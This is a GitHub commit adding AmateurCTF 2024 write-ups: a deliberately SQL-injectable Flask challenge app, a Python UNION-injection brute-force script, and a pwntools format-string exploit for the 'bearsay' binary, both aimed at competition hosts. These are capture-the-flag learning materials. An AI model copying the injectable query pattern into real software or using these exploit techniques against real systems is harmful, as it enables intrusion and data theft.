-
Notifications
You must be signed in to change notification settings - Fork 8
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
refactored the code and added boilerctf writups
- Loading branch information
1 parent
969b1e0
commit bcfc9cc
Showing
36 changed files
with
951 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,9 +1,11 @@ | ||
--- | ||
title: AmateurCTF | ||
title: AmateurCTF24 | ||
toc: true | ||
--- | ||
|
||
{{< cards >}} | ||
{{< card link="cherry-blossom-writeup" title="Amateur CTF | Cherry Blossoms" icon="pencil" >}} | ||
{{< card link="densely-packed-writeup" title="Amateur CTF | Densely Packed" icon="pencil" >}} | ||
{{< card link="pwn-bearsay-writeup" title="Amateur CTF | Bearsay" icon="pencil" >}} | ||
{{< card link="one-shot-writeup" title="Amateur CTF | One-shot" icon="pencil" >}} | ||
{{< card link="sculpture-writeup" title="Amateur CTF | Sculpture" icon="pencil" >}} | ||
{{< /cards >}} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
FROM python:3.11 | ||
WORKDIR /app | ||
|
||
RUN pip install --no-cache-dir Flask gunicorn | ||
|
||
COPY app.py flag.txt ./ | ||
|
||
CMD ["gunicorn", "-b", "[::]:8080", "app:app"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
from flask import Flask, request, make_response | ||
import sqlite3 | ||
import os | ||
import re | ||
|
||
app = Flask(__name__) | ||
db = sqlite3.connect(":memory:", check_same_thread=False) | ||
flag = open("flag.txt").read() | ||
|
||
@app.route("/") | ||
def home(): | ||
return """ | ||
<h1>You have one shot.</h1> | ||
<form action="/new_session" method="POST"><input type="submit" value="New Session"></form> | ||
""" | ||
|
||
@app.route("/new_session", methods=["POST"]) | ||
def new_session(): | ||
id = os.urandom(8).hex() | ||
db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)") | ||
db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)") | ||
res = make_response(f""" | ||
<h2>Fragments scattered... Maybe a search will help?</h2> | ||
<form action="/search" method="POST"> | ||
<input type="hidden" name="id" value="{id}"> | ||
<input type="text" name="query" value=""> | ||
<input type="submit" value="Find"> | ||
</form> | ||
""") | ||
res.status = 201 | ||
|
||
return res | ||
|
||
@app.route("/search", methods=["POST"]) | ||
def search(): | ||
id = request.form["id"] | ||
if not re.match("[1234567890abcdef]{16}", id): | ||
return "invalid id" | ||
searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0] | ||
if searched: | ||
return "you've used your shot." | ||
|
||
db.execute(f"UPDATE table_{id} SET searched = 1") | ||
|
||
query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'") | ||
return f""" | ||
<h2>Your results:</h2> | ||
<ul> | ||
{"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])} | ||
</ul> | ||
<h3>Ready to make your guess?</h3> | ||
<form action="/guess" method="POST"> | ||
<input type="hidden" name="id" value="{id}"> | ||
<input type="text" name="password" placehoder="Password"> | ||
<input type="submit" value="Guess"> | ||
</form> | ||
""" | ||
|
||
@app.route("/guess", methods=["POST"]) | ||
def guess(): | ||
id = request.form["id"] | ||
if not re.match("[1234567890abcdef]{16}", id): | ||
return "invalid id" | ||
result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone() | ||
print(f"{result=}") | ||
if result != None: | ||
return flag | ||
|
||
db.execute(f"DROP TABLE table_{id}") | ||
return "You failed. <a href='/'>Go back</a>" | ||
|
||
@app.errorhandler(500) | ||
def ise(error): | ||
original = getattr(error, "original_exception", None) | ||
if type(original) == sqlite3.OperationalError and "no such table" in repr(original): | ||
return "that table is gone. <a href='/'>Go back</a>" | ||
return "Internal server error" | ||
|
||
if __name__ == "__main__": | ||
app.run(host="0.0.0.0", port=8080) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
import requests | ||
from tqdm import tqdm | ||
|
||
def new_session(): | ||
# url = 'http://localhost:8080/new_session' | ||
url = 'http://one-shot.amt.rs/new_session' | ||
response = requests.post(url).text | ||
table_id = response.splitlines() | ||
table_id = table_id[3] | ||
table_id = table_id.split('"') | ||
table_id = table_id[5] | ||
# print(f"{table_id=}") | ||
return table_id | ||
|
||
def search(table_id, query): | ||
url = 'http://one-shot.amt.rs/search' | ||
# url = 'http://localhost:8080/search' | ||
send_data = {"id": table_id, "query": query} | ||
response = requests.post(url, data=send_data) | ||
results = response.text.split('<li>') | ||
if len(results) == 3: | ||
return True | ||
else: | ||
return False | ||
|
||
def guess(table_id, password): | ||
url = 'http://one-shot.amt.rs/guess' | ||
# url = 'http://localhost:8080/guess' | ||
send_data = {"id": table_id, "password": password} | ||
response = requests.post(url, data=send_data) | ||
if 'go back' not in response.text.lower(): | ||
print(response.text) | ||
|
||
if __name__ == "__main__": | ||
id_to_guess = new_session() | ||
# id_to_guess = "ef71f7852d86dc26" | ||
|
||
password = '_' * 32 | ||
correct = '' | ||
# while '_' in password: | ||
for i in tqdm(range(32)): | ||
password = correct + '_' * (32 - i) | ||
# print(password) | ||
for letter in '1234567890abcdef': | ||
password = correct + letter + '_' * (32 - i - 1) | ||
# print(password) | ||
test_id = new_session() | ||
if search(test_id, f"%' UNION SELECT password from table_{id_to_guess} WHERE password LIKE '{password}'--"): | ||
correct += letter | ||
# print(correct) | ||
guess(test_id, "guess") | ||
break | ||
# guess(id_to_guess, "guess") | ||
print(f"{correct=}") | ||
guess(id_to_guess, correct) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
flag{secret} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,119 @@ | ||
--- | ||
layout: post | ||
title: Amateur CTF | One-shot | ||
date: 2024-04-12 | ||
tags: ['Amateur CTF'] | ||
--- | ||
# Web/One-shot | ||
|
||
## Challenge Description | ||
|
||
my friend keeps asking me to play OneShot. i haven't, but i made this cool challenge! http://one-shot.amt.rs | ||
|
||
[app.py](./assets/app.py) | [Dockerfile](./assets/Dockerfile) | ||
|
||
## Challenge Overview | ||
|
||
The challenge was like a guessing game. | ||
|
||
![new_session](./assets/images/new_session.png) | ||
|
||
First we are given this page with the `New Session` button. Clicking it takes us to another page with an input box mentioning something about fragments scattered. | ||
|
||
![like_page](./assets/images/like_page.png) | ||
|
||
First let's try sending some random input like `a` and then see the response. | ||
|
||
![guess_page](./assets/images/guess.png) | ||
|
||
We get a response back showing us a result and an input box to make our guess. Giving a random answer to this input box returns the message `You failed. Go back` sending us back to the new session page. | ||
|
||
Now let's start analyzing the `app.py` file. | ||
|
||
* new_session() | ||
* Generates a random `id` using `os.urandom(8).hex()`. | ||
* Creates a new table with the name `table_{id}` with two columns -- `password`, `searched` | ||
* Inserts one value into the created table setting the `password` to a random hex value and the `searched` to `0`. | ||
* The response returns the form for the search page | ||
|
||
* search() | ||
* This is the fragments scattered... page | ||
* Uses a regular expression to match whether we have entered a valid `id` | ||
* Checks the value of the `searched` column in the table with the `id` created using the `new_session()`. If this value is not `0` then it returns the message `"you've used your shot."`. If this value is `0` then in the next command it updates the table and sets the `searched` value to `1`, indicating that we have already make our search. | ||
* Next, the function takes the input we give in the input box as the `query` parameter tries to see if it matches the pattern of the password using the `LIKE` command. It executes the command `SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'`. Thus whatever input we provide goes inside `%{query}%`. | ||
* It returns the result of the query in its response along with the form to make the guess. But it only prints the first letter of the passwords it returns thus we cannot know the correct password. | ||
|
||
* guess() | ||
* This is the page asking us to make the guess | ||
* Simply checks whether we have provided the correct `password` for the **given table id**. | ||
* If the password guessed is correct then it returns the flag | ||
* Deletes the table after the check | ||
|
||
## Exploit | ||
|
||
So in order to solve it, we could do a character by character bruteforce. We know the password is a `32 characters` long. So if we make a query like `a_______________________________`, it checks if the first letter is `a` and the rest of the letter can be anything. If it is correct then it returns the password in the results or else it returns an empty result. We could keep doing this again and again for every letter and get the exact password. | ||
|
||
But the issue here is that we can only make one query for a password and then we need to generate a new session guess a new password. In order to bypass this, we need to do a SQL Injection attack. | ||
|
||
SQL Injection query: `%' UNION SELECT password from table_{id_to_guess} WHERE password LIKE '{password}'--` | ||
|
||
This injeciton allows us to check the password of a different table id using the query of another table. | ||
|
||
The exploit is simple. | ||
|
||
* Create a new session which is our `id_to_guess` | ||
* Create a new session which is our `test_id` | ||
* Send the sql injection from the `test_id` and search the password for `id_to_guess` | ||
* After finally getting the password, submit this `password` to the `id_to_guess` and get the flag | ||
|
||
### Python exploit | ||
|
||
```py | ||
import requests | ||
from tqdm import tqdm | ||
|
||
def new_session(): | ||
url = 'http://one-shot.amt.rs/new_session' | ||
response = requests.post(url).text | ||
table_id = response.splitlines() | ||
table_id = table_id[3] | ||
table_id = table_id.split('"') | ||
table_id = table_id[5] | ||
return table_id | ||
|
||
def search(table_id, query): | ||
url = 'http://one-shot.amt.rs/search' | ||
send_data = {"id": table_id, "query": query} | ||
response = requests.post(url, data=send_data) | ||
results = response.text.split('<li>') | ||
if len(results) == 3: | ||
return True | ||
else: | ||
return False | ||
|
||
def guess(table_id, password): | ||
url = 'http://one-shot.amt.rs/guess' | ||
send_data = {"id": table_id, "password": password} | ||
response = requests.post(url, data=send_data) | ||
if 'go back' not in response.text.lower(): | ||
print(response.text) | ||
|
||
if __name__ == "__main__": | ||
id_to_guess = new_session() | ||
|
||
password = '_' * 32 | ||
correct = '' | ||
for i in tqdm(range(32)): | ||
password = correct + '_' * (32 - i) | ||
for letter in '1234567890abcdef': | ||
password = correct + letter + '_' * (32 - i - 1) | ||
test_id = new_session() | ||
if search(test_id, f"%' UNION SELECT password from table_{id_to_guess} WHERE password LIKE '{password}'--"): | ||
correct += letter | ||
guess(test_id, "guess") | ||
break | ||
print(f"{correct=}") | ||
guess(id_to_guess, correct) | ||
``` | ||
|
||
![flag](./assets/images/flag.png) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
--- | ||
layout: post | ||
title: Amateur CTF | Bearsay | ||
date: 2024-04-12 | ||
tags: ['Amateur CTF'] | ||
--- | ||
# PWN/bearsay | ||
|
||
In this challenge we were given an elf file with `PIE,NX,canary and full RELRO enabled` , literally all the permissions were green. | ||
But after decompiling the execuatable with GHIDRA , we found a global variable named is_mother_bear , | ||
basically if anyhow the value of `is_mother_bear` becomes `0xbad0bad` we get the flag. | ||
|
||
but how? there exist a printf vulnerability or more specifically Format String vulnerability. | ||
|
||
So, the path of exploitation should be like this:- | ||
|
||
1- leak the `Base address` of the binary. | ||
2- Change the value of global variable `is_mother_bear` to `0xbad0bad` | ||
|
||
Since the program is being run inside a while loop we can use the format string vulnerabilty as many times as we can. | ||
but we only need it for two times. | ||
|
||
Fist we leak any binary address of the executable with the help of format string specifier(`%p,%x `etc.) then we can find the base address of the binary | ||
|
||
after that with the help of pwntools inbuilt function `fmtstr_payload` we can change the value associated with the address of is_mother_bear to any diserable value. | ||
|
||
And wollah!!! we get the flag. | ||
|
||
```python | ||
#!/usr/bin/env python3 | ||
|
||
from pwn import * | ||
|
||
elf = context.binary=ELF("./chal_patched") | ||
libc = ELF("./lib/libc.so.6") | ||
ld = ELF("./lib/ld-linux-x86-64.so.2") | ||
|
||
r=remote("chal.amt.rs", "1338") | ||
r.sendlineafter(b": ",b'%15$p.%3$p') | ||
|
||
print(r.recvline()) | ||
k=r.recvline().split(b'.') | ||
leak = int(k[0][2:].decode(),16) | ||
print(hex(leak)) | ||
|
||
elf.address = leak - elf.sym.main - 702 | ||
print(hex(elf.address)) | ||
|
||
print(hex(elf.sym.is_mother_bear)) | ||
payload = fmtstr_payload(22,{elf.sym['is_mother_bear'] : 0xbad0bad },write_size='short') | ||
|
||
|
||
r.sendlineafter(b': ',payload) | ||
|
||
r.sendlineafter(b': ',b'flag') | ||
r.interactive() | ||
r.close() | ||
|
||
``` | ||
|
||
after running this script we get the flag:- `amateursCTF{bearsay_mooooooooooooooooooo?}` |
Oops, something went wrong.